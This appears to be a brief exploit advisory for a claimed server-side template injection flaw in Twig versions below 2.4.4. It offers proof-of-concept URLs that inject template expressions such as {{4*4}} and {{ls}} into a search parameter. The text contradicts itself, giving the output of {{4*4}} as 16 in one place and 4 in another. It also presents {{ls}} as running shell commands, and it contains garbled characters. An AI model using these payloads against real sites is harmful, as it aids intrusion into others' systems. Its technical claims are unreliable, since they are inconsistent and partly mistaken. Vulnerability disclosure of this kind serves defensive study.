Twig versions prior to 2.4.4 suffer from a server-side template injection vulnerability.
f8c2f2e2c464c7a35f871f4ab21a5af4Vulnerability details:
# Exploit Title: Twig <2.4.4 Server side template injection
# Date: 02/15/2018
# Exploit Author: JameelNabbo
# Author website: www.jameelnabbo.com
# Vendor Homepage: https://twig.symfony.com
# Software Link: https://twig.symfony.com/doc/2.x/intro.html#installation
# Version: < 2.4.4
# Tested on: MAC OSX
1.Description:
Twig is a modern php template engine which compile templates down to plain optimized PHP code, Twig <2.4.4 contain SSTI vulnerability which allow attackers to execute commands within the Parameters, by just using {{COMAND TO EXECUTE}} instead of using the expected values aNormal integer or normal string", depends on the vulnerable application, which takes deferent params by GET or POST.
Example: by injecting this in a search param http://localhost/search?search_key={{4*4}} <http://localhost/search?search_key=%7B%7B4*4%7D%7D> Output: 16
2. POC:
http://localhost/search?search_key={{4*4}}
OUTPUT: 4
http://localhost/search?search_key={{ls}}
OUTPUT: list of files/directories etca|.